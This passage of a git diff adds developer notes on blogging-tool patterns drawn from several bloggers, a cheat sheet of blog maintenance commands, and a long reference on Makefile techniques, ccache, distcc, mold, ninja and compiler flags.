ffmpeg, mpv, mupdf, ssh. +- Public code and public ideas as an operating principle. +- Unusual architecture: Go servers route requests to PostgreSQL functions that generate HTML and headers. `scripts/tap` wraps pgTAP tests in rollback transactions. +- Clear anti-AI disclosure: "Everything here is written by me, personally, not an AI." + +Reusable commands: + +```sh +blog-new "Now" +blog_words +blog_find 'plain text' +``` + +## Brendan Gregg + +Sources: + +- https://github.com/brendangregg +- https://github.com/brendangregg/FlameGraph +- https://github.com/brendangregg/perf-tools +- https://cacm.acm.org/practice/the-flame-graph/ + +Patterns worth copying: + +- Posts that ship with reusable diagnostic scripts become long-lived references. +- Visualization generators are publishing tools: data in, SVG out, explanation around it. +- Keep a script archive next to explanations so readers can reproduce the picture. +- Keep intermediate folded/text artifacts because they are grep-able and reusable. +- Test visualization scripts with fixture inputs, collapsed expected outputs, and SVG generation. + +Reusable commands: + +```sh +python -m cProfile -o output.prof script.py +flameprof output.prof --format log > output.folded +flamegraph.pl output.folded > profile.svg +``` + +## Org Mode Static-Site Builders + +Sources: + +- https://ogbe.net/blog/emacs_org_static_site +- https://github.com/jethrokuan/braindump +- https://github.com/freetonik/rakhim.org +- https://github.com/freetonik/braindump.rakhim.org +- https://github.com/sachac/.emacs.d + +Patterns worth copying: + +- A self-contained private source repo with `bib`, `bin`, `blog`, `css`, `cv`, `html`, `img`, `lisp`, and `pages`. +- `make` plus Emacs batch mode as a static-site compiler. +- Custom export backend, sitemap generator, CSS/JS minification, MathJax hosting, publication lists from BibTeX, and preprocessing/postprocessing passes. +- Jethro Kuan generates `build.ninja` from `build.py`, then runs many Emacs batch Org exports in parallel before Hugo builds. +- Rakhim's braindump pipeline is explicit: `clean copy heading backlinks wikilinks frontmatter build publish`. +- Sacha Chua uses literate Emacs publishing: Make runs Emacs batch to tangle `Sacha.org` into `Sacha.el`, export HTML, and create backlinks from generated files to source sections. + +Reusable commands: + +```sh +make +emacs --batch -l lisp/build-site.el -f org-publish-all +blog-rss-check public/feed.xml +``` + +## Patrick McKenzie + +Sources: + +- https://www.kalzumeus.com/ +- https://gist.github.com/patio11 + +Patterns worth copying: + +- Publish narrow, production-adjacent gists when the main site code is private. +- Export Markdown versions of posts for readability, LLM context, or archival use, with allowlisted frontmatter and per-post opt-outs. +- Publish hashes for important public claims or documents. + +## Dan Luu + +Sources: + +- https://danluu.com/octopress-speedup/ +- https://danluu.com/about/ +- https://gist.github.com/danluu + +Patterns worth copying: + +- Performance posts should be reproducible: WebPageTest runs, screenshots, each intervention, each latency delta. +- Minimal static-site maintenance is a scriptable discipline: remove unused JS, move blocking JS to the footer, combine/minify assets, remove webfonts, consider inline CSS for single-entry visits. +- Maintain lightweight bibliographies as public gists. + +## Julia Evans + +Sources: + +- https://jvns.ca/blog/2016/10/09/switching-to-hugo/ +- https://jvns.ca/blog/2017/12/22/how-i-set-up-an-automatic-weekly-blog-digest/ +- https://jvns.ca/blog/2021/11/15/esbuild-vue/ +- https://github.com/jvns + +Patterns worth copying: + +- Keep a tiny post generator task, such as a Rake `new_post`, so filenames and frontmatter are never hand-typed. +- Prefer durable static binaries for authoring tools when language environments become fragile. +- Use single-command small frontend builds: `esbuild script.js --bundle --minify --outfile=bundle.js`. +- Debug toolchain weirdness with system tools such as `strace -e openat -f`. + +## Xe Iaso + +Sources: + +- https://github.com/Xe/site +- https://github.com/Xe/site/blob/main/scripts/validate-blog-dates.js +- https://github.com/Xe/site/blob/main/scripts/check-mdx-tags.go +- https://github.com/Xe/site/blob/main/Earthfile + +Patterns worth copying: + +- Document agent/developer entrypoints in `AGENTS.md`. +- Future-dated content guard: block future dates unless the PR body contains an explicit "DO NOT MERGE until YYYY-MM-DD UTC" line. +- Validate MDX tags with a small dedicated checker. +- Keep diagrams as source plus output, for example `.dot` beside `.svg`. + +Reusable commands: + +```sh +blog-future-dates +BLOG_ALLOW_FUTURE_DATES=1 blog-future-dates +``` + +## Eli Bendersky + +Sources: + +- https://eli.thegreenplace.net/pages/about +- https://github.com/eliben/code-for-blog + +Patterns worth copying: + +- Keep a separate `code-for-blog` repo organized by year and article. +- Article directories should include runnable examples, Makefiles, tests, benchmarks, generated plots, and README notes. +- For diagram-heavy or benchmark-heavy posts, publish generation scripts, not only final images. + +## Buster Benson + +Sources: + +- https://github.com/busterbenson/public + +Patterns worth copying: + +- Treat a personal canon as a repo: beliefs, ideas, changelog, yearly review commits, and public feedback. +- The "public accountable self" idea maps cleanly to versioned `beliefs.md`, `ideas.md`, and annual review indexes. + +## Nikita Voloboev + +Sources: + +- https://github.com/nikivdev/go + +Patterns worth copying: + +- `flow.toml` as a task-runner control plane with commands for setup, dev, spec printing, deploy, and AI-backed commits. +- Build CLIs to temporary directories, run them, clean up, and install short symlink aliases. +- Generate prompt text from Markdown specs with a command like `spec-print note.md --stdout --no-clipboard`. + +## Phil Eaton + +Sources: + +- https://github.com/eatonphil/eatonphil.com + +Patterns worth copying: + +- A one-file Go static-site compiler is enough for many personal sites. +- Emit per-section output, sitemap, and robots files without adopting a large framework. + +## Linus Lee + +Sources: + +- https://github.com/thesephist/stream +- https://github.com/thesephist/sistine + +Patterns worth copying: + +- JSONL is a good microblog database. +- `make watch` with `entr` and a tiny formatter target gives a fast authoring loop. +- A small custom static-site generator can be maintained like any other personal tool. + +## Cross-Cutting Ideas + +- `new`: create a dated draft with title, status, tags, canonical slug. +- `index`: list drafts by age, word count, status, and TODO flags. +- `links`: extract all external links with source file references. +- `archive`: save every external link locally before publication. +- `title`: fetch a page title and normalize it for citation notes. +- `frontmatter`: fail fast on missing title/date/status/tags. +- `rss`: validate Atom/RSS as part of the build. +- `linkrot`: run a polite status checker on changed posts. +- `backlinks`: generate a reverse-link report for notes. +- `stats`: count posts, words, links, domains, and TODO flags. +- `ai-review`: use a CLI LLM as a skeptical editor, never as silent author. +- `build-check`: run whatever the repo provides: Makefile, npm, Hugo, Jekyll, frontmatter, RSS, stats. +- `future-dates`: block scheduled posts unless explicitly allowed. +- `screenshot`: archive visual states after deploys. +- `spec-print`: turn Markdown notes/specs into reusable AI prompts. +- `wikilinks`: convert `[[Page]]` and `![[file.png]]` before build. +- `tangle-build`: tangle literate source and publish generated HTML/PDF. +- `db-test`: run database-backed site tests inside rollback transactions. diff --git a/doc/bloggers/resources/toolbelt.md b/doc/bloggers/resources/toolbelt.md new file mode 100644 index 0000000000000000000000000000000000000000..917ee8d15cf49791db502a57119f891c84bac60b --- /dev/null +++ b/doc/bloggers/resources/toolbelt.md @@ -0,0 +1,121 @@ +# Blogger Toolbelt Patterns + +## Draft Lifecycle + +```sh +blog-new "Title" content/drafts +blog-draft-index +blog_reading_time content/drafts/*.md +blog_tk_context content/drafts/*.md +``` + +## Link Work + +```sh +blog-links content/**/*.md | sort -u +blog_domain_counts content/**/*.md +blog_archive_queue archive-queue.txt content/**/*.md +blog_archive_all archive-queue.txt +blog-linkrot content/**/*.md | tee linkrot.txt +``` + +## Metadata Hygiene + +```sh +BLOG_REQUIRED_FIELDS="title date status tags" blog-frontmatter +btitles +btags +bdates +``` + +## Publishing Checks + +```sh +blog-build-check +blog-rss-check public/feed.xml +blog-stats +git diff --word-diff=color -- '*.md' '*.mdx' +blog-future-dates +``` + +## AI Review + +```sh +llm --system 'Review this blog post for weak claims, missing evidence, and structure problems. Return concrete fixes.' --save blog-review +cat content/drafts/post.md | llm -t blog-review +blog-ai-review content/drafts/post.md +files-to-prompt content -e md -e mdx --markdown | llm -s 'Find stale claims and missing sources' +``` + +## Screenshots + +```sh +blog-screenshot http://127.0.0.1:8000/ screenshots/local-home.png +shot-scraper multi shots.yml +``` + +## Gwern-Inspired Archive Queue + +```sh +find content notes -type f \( -name '*.md' -o -name '*.mdx' \) -print0 | + xargs -0 blog-links | + cut -f1 | + sort -u > archive-queue.txt + +while read -r url; do + blog-archive-url "$url" +done < archive-queue.txt +``` + +## Database Publishing + +```sh +sqlite-utils insert blog.db posts posts.json --pk id +datasette blog.db +datasette publish cloudrun blog.db -m metadata.json +``` + +## Scheduled Maintenance + +```sh +python build_readme.py +git add -A +git commit -m "Updated content" || true + +blog-linkrot content/**/*.md | tee linkrot.txt +blog-screenshot https://example.com screenshots/home.png +``` + +## Org And Literate Pipelines + +```sh +python build.py +ninja +emacs --batch -l publish.el -f org-publish-all +make tangle-build +``` + +## Wikilink Preprocessing + +```sh +rg -n '\[\[[^]]+\]\]' content notes +./bin/convert_wikilinks_to_refs.sh +./bin/add_hugo_frontmatter.py +``` + +## Visual Explanations + +```sh +python -m cProfile -o output.prof script.py +flameprof output.prof --format log > output.folded +flamegraph.pl output.folded > profile.svg +``` + +## Search Surfaces + +```sh +blog_find 'claim|citation needed|TODO' +blog_titles | fzf +blog-links | fzf +blog_domain_counts | sed -n '1,50p' +``` diff --git a/doc/build-systems.md b/doc/build-systems.md new file mode 100644 index 0000000000000000000000000000000000000000..fba043e8a5b9df35855175c5d0355a356b605484 --- /dev/null +++ b/doc/build-systems.md @@ -0,0 +1,1017 @@ +# Build Systems Reference + +Makefile patterns, compiler flags, and build acceleration tools for C/systems developers. + +--- + +## 1. Auto-Dependency Generation + +Compiler generates `.d` files listing what each `.o` depends on. On the next `make` run, those files are included and stale objects are rebuilt automatically. + +```makefile +DEPDIR := .deps +DEPFLAGS = -MMD -MP -MF $(DEPDIR)/$*.d + +SRCS := $(wildcard src/*.c) +OBJS := $(patsubst src/%.c, build/%.o, $(SRCS)) + +build/%.o: src/%.c | $(DEPDIR) + $(CC) $(DEPFLAGS) $(CFLAGS) -c $< -o $@ + +$(DEPDIR): + mkdir -p $@ + +-include $(patsubst src/%.c, $(DEPDIR)/%.d, $(SRCS)) +``` + +Flag breakdown: + +| Flag | Effect | +|------|--------| +| `-MMD` | Write a `.d` file with user-header deps (omits system headers) | +| `-MP` | Add phony targets for each dep so deleted headers don't error | +| `-MF <file>` | Write the dependency file to this path instead of stdout | +| `-MD` | Like `-MMD` but includes system headers | + +The leading `-` on `-include` suppresses errors when `.d` files don't exist yet (first build). + +--- + +## 2. GNU Make Automatic Variables + +| Variable | Expands to | +|----------|-----------| +| `$@` | The target filename | +| `$<` | The first prerequisite | +| `$^` | All prerequisites, deduplicated | +| `$+` | All prerequisites, with duplicates preserved | +| `$?` | Prerequisites newer than the target | +| `$*` | The stem matched by `%` in a pattern rule | +| `$(@D)` | Directory part of `$@` | +| `$(@F)` | File part of `$@` | +| `$(<D)` | Directory part of `$<` | +| `$(<F)` | File part of `$<` | +| `$(^D)` | Directory parts of `$^` | +| `$(^F)` | File parts of `$^` | + +Usage example: + +```makefile +build/%.o: src/%.c + mkdir -p $(@D) + $(CC) -c $< -o $@ + # $* = the stem, e.g. "main" when building build/main.o +``` + +--- + +## 3. Make Functions Reference + +### Text manipulation + +```makefile +# subst: literal string replacement +$(subst from,to,text) +$(subst .c,.o,foo.c bar.c) # foo.o bar.o + +# patsubst: pattern substitution (% wildcard) +$(patsubst %.c,%.o,foo.c bar.c) # foo.o bar.o +# Shorthand for patsubst on a variable: +OBJS := $(SRCS:.c=.o) + +# filter: keep words matching pattern +$(filter %.c, foo.c foo.h bar.c) # foo.c bar.c + +# filter-out: remove words matching pattern +$(filter-out %.h, foo.c foo.h) # foo.c + +# sort: sort and deduplicate +$(sort bar foo foo baz) # bar baz foo + +# strip: remove extra whitespace +$(strip foo bar ) # foo bar + +# words / word / wordlist +$(words foo bar baz) # 3 +$(word 2, foo bar baz) # bar +$(wordlist 2,3, foo bar baz) # bar baz + +# dir / notdir / basename / suffix / addprefix / addsuffix +$(dir src/foo.c) # src/ +$(notdir src/foo.c) # foo.c +$(basename src/foo.c) # src/foo +$(suffix src/foo.c) # .c +$(addprefix build/, foo.o bar.o) # build/foo.o build/bar.o +$(addsuffix .o, foo bar) # foo.o bar.o +``` + +### File discovery + +```makefile +# wildcard: glob expansion (unlike bare *, works inside functions) +SRCS := $(wildcard src/*.c src/**/*.c) +``` + +### Iteration and metaprogramming + +```makefile +# foreach: iterate over a list +DIRS := src lib test +$(foreach d, $(DIRS), $(wildcard $(d)/*.c)) + +# call: invoke a named function (user-defined macro) +reverse = $(2) $(1) +$(call reverse, foo, bar) # bar foo + +# Multi-arg call with define +define compile_rule +$(1)/%.o: $(2)/%.c + $$(CC) $$(CFLAGS) -c $$< -o $$@ +endef + +$(eval $(call compile_rule, build, src)) +``` + +### $$ escaping in eval + +Inside `define`/`eval` blocks the text is expanded twice. Use `$$` to produce a literal `$` in the final rule: + +```makefile +define module_rule +$(1).o: $(1).c + $$(CC) -c $$< -o $$@ # $$ becomes $ after first expansion +endef + +$(eval $(call module_rule, main)) +``` + +--- + +## 4. Special Targets + +| Target | Effect | +|--------|--------| +| `.PHONY` | Declares targets that are not real files; always runs the recipe | +| `.DELETE_ON_ERROR` | Deletes the target if its recipe exits with a nonzero status; prevents corrupt outputs being left in place | +| `.SECONDARY` | Prevents intermediate files from being deleted after use; can list specific files or leave stem empty for all | +| `.PRECIOUS` | Like `.SECONDARY` but also suppresses deletion on interrupt | +| `.ONESHELL` | Runs all lines in a recipe in a single shell invocation; lets you use multi-line scripts without backslash continuations | +| `.NOTPARALLEL` | Disables parallel execution for the current Makefile (use sparingly; prefer per-target ordering instead) | +| `.SECONDEXPANSION` | Enables a second expansion pass on prerequisites; allows `$$(VAR)` tricks for dynamic dependency lists | +| `.DEFAULT` | Recipe to run when no rule is found for a target | +| `.SUFFIXES` | Controls the list of known suffixes for old-style suffix rules; set to empty to disable them | + +```makefile +.DELETE_ON_ERROR: +.PHONY: all clean test + +# SECONDEXPANSION example +.SECONDEXPANSION: +build/%.o: $$(patsubst build/%.o,src/%.c,$@) + $(CC) -c $< -o $@ + +# ONESHELL example +.ONESHELL: +gen-version: + VER=$$(git describe --tags) + echo "#define VERSION \"$$VER\"" > version.h +``` + +--- + +## 5. Parallel Builds + +```bash +make -j$(nproc) # use all logical CPUs +make -j$(nproc) -Otarget # serialize output per target (readable logs) +make -j8 # fixed job count +``` + +Output sync options for `-O`: + +| Value | Behavior | +|-------|----------| +| `none` | No synchronization (default) | +| `line` | Output one line at a time | +| `target` | Buffer all output per target, print when done | +| `recurse` | Like target but for recursive make | + +Limiting parallelism for specific targets: + +```makefile +# These two targets must not run simultaneously +link: .NOTPARALLEL +link: $(OBJS) + $(CC) $^ -o $@ +``` + +Or use ordering prerequisites: + +```makefile +b: a # b waits for a, even with -j +a: + sleep 1 && echo a +b: a + echo b +``` + +--- + +## 6. Non-Recursive Make with Includes + +Recursive make (calling `$(MAKE)` in subdirectories) loses dependency information across directories and is slow. The alternative is a single top-level Makefile that includes per-module `module.mk` files. + +**Top-level Makefile:** + +```makefile +# Reset before each include +SRCS := +CFLAGS_EXTRA := + +include src/lib/module.mk +include src/app/module.mk +include src/test/module.mk + +OBJS := $(patsubst %.c,build/%.o,$(SRCS)) +``` + +**src/lib/module.mk:** + +```makefile +# Paths relative to project root +SRCS += src/lib/alloc.c \ + src/lib/buf.c \ + src/lib/hash.c + +# Module-specific flags appended to global compile rule +CFLAGS_EXTRA += -Isrc/lib/include +``` + +**Pattern rule handles all modules:** + +```makefile +build/%.o: %.c + @mkdir -p $(@D) + $(CC) $(CFLAGS) $(CFLAGS_EXTRA) $(DEPFLAGS) -c $< -o $@ +``` + +Benefits: single pass, full cross-directory dependency tracking, faster than recursive invocations. + +--- + +## 7. ccache + +ccache intercepts compiler calls, hashes inputs, and returns cached object files on hits. Typical speedup on a warm cache: 5-100x. + +### Install + +```bash +# Arch +sudo pacman -S ccache + +# Debian/Ubuntu +sudo apt install ccache + +# macOS +brew install ccache +``` + +### Use in Makefile + +```makefile +CC := ccache gcc +CXX := ccache g++ +``` + +Or prefix via environment without changing the Makefile: + +```bash +export CC="ccache gcc" +export CXX="ccache g++" +make -j$(nproc) +``` + +Or symlink method (intercepts without changing any config): + +```bash +export PATH="/usr/lib/ccache:$PATH" +# /usr/lib/ccache contains gcc, g++, cc, c++ symlinks pointing to ccache +``` + +### Key config commands + +```bash +ccache --show-stats # hit rate, cache size, cache dir +ccache --show-config # effective config +ccache --zero-stats # reset counters +ccache --clear # purge all cached objects + +# Config (persistent) +ccache --set-config max_size=10G +ccache --set-config cache_dir=~/.cache/ccache +ccache --set-config compression=true +ccache --set-config compression_level=6 + +# Useful env overrides +export CCACHE_DIR=~/.cache/ccache +export CCACHE_MAXSIZE=10G +export CCACHE_COMPRESS=1 +export CCACHE_SLOPPINESS=pch_defines,time_macros # needed for PCH caching +``` + +### Cache miss causes to eliminate + +- `__DATE__` / `__TIME__` macros (use `-DVERSION` instead) +- Absolute paths baked in by `-I` or `__FILE__` (use `-ffile-prefix-map=old=new`) +- Changing `umask` between builds + +--- + +## 8. distcc + +distcc distributes compilation across a cluster. Each remote machine compiles preprocessed source sent by the local machine. Works transparently as a compiler wrapper. + +### Install + +```bash +sudo pacman -S distcc # Arch +sudo apt install distcc # Debian +``` + +### Daemon setup (on each remote build host) + +```bash +# Edit /etc/conf.d/distccd or /etc/default/distcc +DISTCC_ARGS="--allow 192.168.1.0/24 --jobs 8 --log-stderr" + +sudo systemctl enable --now distccd +``` + +### Local configuration + +```bash +export DISTCC_HOSTS="localhost/4 192.168.1.10/8 192.168.1.11/8" +# Format: host/max_jobs +``` + +### Makefile integration + +```makefile +CC := distcc gcc +CXX := distcc g++ +``` + +### Pump mode (faster preprocessing) + +Pump mode offloads the preprocessor step to remotes too, reducing data sent over the wire: + +```bash +pump make -j32 CC="distcc gcc" +``` + +### Combine distcc + ccache + +```makefile +CC := ccache distcc gcc +CXX := ccache distcc g++ +``` + +ccache checks locally first; on a miss, distcc handles compilation remotely. + +### Monitor + +```bash +distccmon-text 1 # refresh every 1 second +distccmon-gnome # GUI monitor if installed +``` + +--- + +## 9. bear for compile_commands.json + +`compile_commands.json` is required by clangd, clang-tidy, include-what-you-use, and most editors. `bear` intercepts the compiler via `LD_PRELOAD` and records every compilation command. + +```bash +sudo pacman -S bear # Arch +sudo apt install bear # Debian +``` + +### Generate + +```bash +bear -- make -j$(nproc) +# Writes compile_commands.json in the current directory +``` + +### Incremental update (bear 3.x) + +```bash +bear --append -- make changed_module.o +``` + +### Alternatives + +```bash +# cmake generates it natively +cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON .. + +# intercept-build (part of scan-build/clang-tools) +intercept-build make + +# compiledb (Python, wraps make) +pip install compiledb +compiledb make +``` + +--- + +## 10. mold Linker + +mold is a modern linker written in C++. On large projects it links 10-20x faster than GNU ld and 2-5x faster than lld. + +### Install + +```bash +sudo pacman -S mold # Arch +sudo apt install mold # Debian 12+ + +# Or from source +git clone https://github.com/rui314/mold +cd mold && cmake -DCMAKE_BUILD_TYPE=Release -B build && cmake --build build -j$(nproc) +sudo cmake --install build +``` + +### Use + +```bash +# Pass to compiler driver +gcc -fuse-ld=mold -o prog $(OBJS) +g++ -fuse-ld=mold -o prog $(OBJS) + +# Or set in Makefile +LDFLAGS += -fuse-ld=mold +``` + +### Makefile pattern + +```makefile +LD := $(CC) +LDFLAGS := -fuse-ld=mold -Wl,--as-needed + +$(TARGET): $(OBJS) + $(LD) $(LDFLAGS) $^ -o $@ +``` + +### Notes + +- `-fuse-ld=mold` requires GCC 12+ or Clang 12+; on older compilers use `-B /usr/libexec/mold` +- Not for static libraries (those use `ar`, not a linker) +- ThinLTO is supported: add `-flto=thin` to both `CFLAGS` and `LDFLAGS` + +--- + +## 11. Precompiled Headers + +Precompiling a large or stable header (like a project-wide `common.h` or a bundled `stb.h`) eliminates repeated parse time for every translation unit that includes it. + +### Create a PCH + +```makefile +PCH_SRC := src/precompiled.h +PCH_OUT := build/precompiled.h.gch + +$(PCH_OUT): $(PCH_SRC) | build + $(CC) $(CFLAGS) -x c-header $< -o $@ +``` + +### Use the PCH + +GCC looks for a `.gch` file alongside the original header automatically: + +```makefile +build/%.o: src/%.c $(PCH_OUT) + $(CC) $(CFLAGS) -include src/precompiled.h -c $< -o $@ +``` + +The `-include` flag forces inclusion before anything in the source file. If `build/precompiled.h.gch` exists and was compiled with the same flags, GCC uses it automatically. + +### Clang + +Clang requires explicit `-include-pch`: + +```makefile +$(PCH_OUT): $(PCH_SRC) + $(CC) $(CFLAGS) -x c-header $< -o $@ + +build/%.o: src/%.c $(PCH_OUT) + $(CC) $(CFLAGS) -include-pch $(PCH_OUT) -c $< -o $@ +``` + +### ccache + PCH + +```bash +export CCACHE_SLOPPINESS=pch_defines,time_macros +``` + +Without this, ccache misses on PCH users because it is conservative about flag differences. + +--- + +## 12. Unity Builds + +A unity build concatenates all `.c` files into one and compiles the single translation unit. The linker sees one object. Benefits: no repeated header parsing, better inlining across TUs, smaller binaries. Drawback: all-or-nothing rebuilds. + +### Manual unity file + +```c +/* unity.c */ +#include "src/alloc.c" +#include "src/buf.c" +#include "src/hash.c" +#include "src/io.c" +``` + +```makefile +unity: build/unity.o + $(CC) build/unity.o -o $@ + +build/unity.o: unity.c + $(CC) $(CFLAGS) -c $< -o $@ +``` + +### Generated unity file + +```makefile +SRCS := $(wildcard src/*.c) + +build/unity.c: $(SRCS) + @mkdir -p $(@D) + $(file > $@,/* generated */) + $(foreach s,$^,$(file >> $@,#include "../$(s)")) + +build/unity.o: build/unity.c + $(CC) $(CFLAGS) -c $< -o $@ +``` + +### Hybrid: per-module unity + parallel compilation + +```makefile +# Each module gets its own unity file; modules compile in parallel +MODULES := net io fs crypto + +define unity_rule +build/$(1)-unity.c: $$(wildcard src/$(1)/*.c) + $$(file > $$@,/* $(1) */) + $$(foreach s,$$^,$$(file >> $$@,#include "../../$$s")) + +build/$(1)-unity.o: build/$(1)-unity.c + $$(CC) $$(CFLAGS) -c $$< -o $$@ +endef + +$(foreach m,$(MODULES),$(eval $(call unity_rule,$(m)))) +``` + +--- + +## 13. Make Debugging + +### Dry run and tracing + +```bash +make -n # print commands without running them +make -n --always-make # -n but pretend everything is out of date +make --trace # print why each target is rebuilt +make --debug=a # verbose: all decisions, including up-to-date +make --debug=v # verbose: variable values +make --debug=i # verbose: implicit rule search +make --warn-undefined-variables # warn whenever $(UNDEFINED) expands to empty +``` + +### Print database + +```bash +make -p # dump all rules, variables, and implicit rules +make -p -f /dev/null # dump builtins without running any Makefile +``` + +### In-Makefile diagnostics + +```makefile +# $(info ...) prints at parse time, no error +$(info SRCS = $(SRCS)) +$(info CC = $(CC)) + +# $(warning ...) prints with filename:line prefix +$(warning Building with flags: $(CFLAGS)) + +# $(error ...) prints and immediately aborts +ifeq ($(CC),) +$(error CC is not set) +endif + +# origin tells you where a variable was defined +$(info origin of CC: $(origin CC)) # default, environment, file, command line, override, automatic +``` + +### Inspecting a specific target + +```bash +make --trace target +make -d target 2>&1 | less # very verbose, full decision log +``` + +--- + +## 14. Compiler Flags Reference + +### Debug build + +```makefile +CFLAGS_DEBUG := \ + -O0 \ # no optimization; fast compilation + -g3 \ # max debug info including macros + -fno-omit-frame-pointer \ + -fsanitize=address,undefined \ + -fstack-protector-strong \ + -DDEBUG +``` + +### Release build + +```makefile +CFLAGS_RELEASE := \ + -O2 \ # safe optimizations + -DNDEBUG \ + -ffunction-sections \ # enables --gc-sections to strip dead code + -fdata-sections \ + -flto \ # link-time optimization + -march=native # tune for the build machine (not for distributed binaries) + +LDFLAGS_RELEASE := \ + -Wl,--gc-sections \ + -Wl,-O1 \ + -flto +``` + +### Profiling build + +```makefile +CFLAGS_PROF := \ + -O2 \ + -g \ # keep symbols for perf/gprof + -pg \ # gprof instrumentation + -fno-omit-frame-pointer \ + -DNDEBUG +``` + +For `perf` you do not need `-pg`, just `-g -fno-omit-frame-pointer`. + +### Full warnings + +```makefile +WARN_FLAGS := \ + -Wall \ # common warnings + -Wextra \ # more warnings + -Wpedantic \ # strict ISO C + -Wshadow \ + -Wconversion \ + -Wsign-conversion \ + -Wdouble-promotion \ + -Wformat=2 \ + -Wundef \ + -fno-common \ + -Wunused \ + -Wmissing-prototypes \ # C only + -Wstrict-prototypes # C only +``` + +Promote warnings to errors in CI: + +```makefile +CFLAGS += -Werror +``` + +### Hardening flags (production binaries) + +```makefile +CFLAGS_HARDEN := \ + -D_FORTIFY_SOURCE=2 \ + -fstack-protector-strong \ + -fPIE + +LDFLAGS_HARDEN := \ + -pie \ + -Wl,-z,relro \ + -Wl,-z,now +``` + +--- + +## 15. mk (Plan 9 Make) + +`mk` is the Plan 9 equivalent of `make`, designed to be simpler and cleaner. + +### Key differences from GNU make + +| Feature | GNU make | mk | +|---------|----------|----| +| Shell | Uses `/bin/sh` per recipe line | Uses `rc` shell (Plan 9) or shell of choice | +| Parallel flag | `-j N` | `-n N` | +| Automatic variables | `$@`, `$<`, `$^` | `$target`, `$prereq`, `$newprereq` | +| Pattern rules | `%.o: %.c` | `%.$O: %.c` | +| All prerequisites | `$^` | `$prereq` | +| Variable export | Manual | Automatic via `MKFLAGS` | +| Dependency files | Manual `-include` | Native `<| mkdepend` integration | + +### mk syntax + +```mk +CC = gcc +CFLAGS = -O2 -Wall + +%.o: %.c + $CC $CFLAGS -c $prereq -o $target + +prog: main.o util.o + $CC $prereq -o $target +``` + +### Install on Linux + +```bash +# 9base (Plan 9 userland port) +sudo pacman -S 9base # Arch AUR +# or build from suckless.org/tools/9base +``` + +### Advantages + +- Simpler rule syntax +- No recursive variable expansion surprises +- `mkfile` can be used with the 9front toolchain directly +- Recipe is a single string passed to a shell, so `.ONESHELL` is the default behavior + +--- + +## 16. Ninja Build System + +Ninja is a low-level build system focused purely on speed. It does no rule inference; higher-level tools (CMake, Meson, GN) generate `.ninja` files. + +### Install + +```bash +sudo pacman -S ninja # Arch +sudo apt install ninja-build # Debian +``` + +### Key speed advantages over make + +- Parses its input files in parallel +- Uses a dependency log (`.ninja_deps`, `.ninja_log`) instead of re-stat-ing every file +- Avoids shell overhead: single process, no fork per recipe line +- Implicit dep scanning built in (no need for `-MMD` tricks) + +### Basic ninja file syntax + +```ninja +cc = gcc +cflags = -O2 -Wall + +rule cc + command = $cc $cflags -MMD -MF $out.d -c $in -o $out + depfile = $out.d + deps = gcc + +rule link + command = $cc $in -o $out + +build build/main.o: cc src/main.c +build build/util.o: cc src/util.c +build prog: link build/main.o build/util.o + +default prog +``` + +### Run + +```bash +ninja # build default target +ninja -j$(nproc) # explicit parallelism (default is all CPUs) +ninja -v # verbose (show full commands) +ninja -n # dry run +ninja -d explain # why is each target rebuilt +``` + +### Generating ninja files + +```bash +# CMake +cmake -GNinja -DCMAKE_BUILD_TYPE=Release .. +ninja + +# Meson +meson setup build +cd build && ninja + +# GN (Chromium ecosystem) +gn gen out/Release +ninja -C out/Release +``` + +--- + +## 17. Complete Production Makefile Template + +```makefile +# ------------------------------------------------------------ +# Project config +# ------------------------------------------------------------ +TARGET := prog +SRCDIR := src +BLDDIR := build +DEPDIR := $(BLDDIR)/.deps + +CC := ccache gcc +CXX := ccache g++ +AR := ar +LD := $(CC) + +# ------------------------------------------------------------ +# Sources and objects +# ------------------------------------------------------------ +SRCS := $(shell find $(SRCDIR) -name '*.c') +OBJS := $(patsubst $(SRCDIR)/%.c, $(BLDDIR)/%.o, $(SRCS)) + +# ------------------------------------------------------------ +# Flags +# ------------------------------------------------------------ +CFLAGS := -std=c11 -Wall -Wextra -Wpedantic -Wshadow \ + -ffunction-sections -fdata-sections +LDFLAGS := -fuse-ld=mold -Wl,--gc-sections -Wl,--as-needed +LIBS := + +DEPFLAGS = -MMD -MP -MF $(DEPDIR)/$*.d + +ifeq ($(BUILD),debug) + CFLAGS += -O0 -g3 -fsanitize=address,undefined -fno-omit-frame-pointer -DDEBUG + LDFLAGS += -fsanitize=address,undefined +else ifeq ($(BUILD),release) + CFLAGS += -O2 -DNDEBUG -flto -march=native + LDFLAGS += -flto +else + CFLAGS += -Og -g -fno-omit-frame-pointer +endif + +# ------------------------------------------------------------ +# Special targets +# ------------------------------------------------------------ +.DELETE_ON_ERROR: +.PHONY: all clean distclean test compile_commands + +# ------------------------------------------------------------ +# Default target +# ------------------------------------------------------------ +all: $(BLDDIR)/$(TARGET) + +# ------------------------------------------------------------ +# Link +# ------------------------------------------------------------ +$(BLDDIR)/$(TARGET): $(OBJS) + $(LD) $(LDFLAGS) $^ $(LIBS) -o $@ + +# ------------------------------------------------------------ +# Compile +# ------------------------------------------------------------ +$(BLDDIR)/%.o: $(SRCDIR)/%.c | $(DEPDIR) + @mkdir -p $(@D) $(dir $(DEPDIR)/$*.d) + $(CC) $(CFLAGS) $(DEPFLAGS) -c $< -o $@ + +# ------------------------------------------------------------ +# Directories +# ------------------------------------------------------------ +$(BLDDIR) $(DEPDIR): + mkdir -p $@ + +# ------------------------------------------------------------ +# Dependencies +# ------------------------------------------------------------ +-include $(wildcard $(DEPDIR)/**/*.d $(DEPDIR)/*.d) + +# ------------------------------------------------------------ +# compile_commands.json +# ------------------------------------------------------------ +compile_commands: + bear -- $(MAKE) clean all + +# ------------------------------------------------------------ +# Clean +# ------------------------------------------------------------ +clean: + rm -rf $(BLDDIR) + +distclean: clean + rm -f compile_commands.json + +# ------------------------------------------------------------ +# Test +# ------------------------------------------------------------ +test: $(BLDDIR)/$(TARGET) + ./tests/run.sh $< + +# ------------------------------------------------------------ +# Debug helpers +# ------------------------------------------------------------ +print-%: + @echo '$* = $($*)' +# Usage: make print-CFLAGS +``` + +### Usage + +```bash +make # debug-ish build (Og) +make BUILD=release -j$(nproc) +make BUILD=debug -j$(nproc) +make compile_commands +make print-CFLAGS +``` + +--- + +## 18. Incremental Linking with -r and module.ro + +Partial linking (`-r`) combines multiple object files into a single relocatable object without resolving symbols. The result can be linked again later. Useful for large projects with stable subsystems. + +### Create a partial object + +```makefile +build/net.ro: $(NET_OBJS) + $(LD) -r $^ -o $@ + +build/io.ro: $(IO_OBJS) + $(LD) -r $^ -o $@ 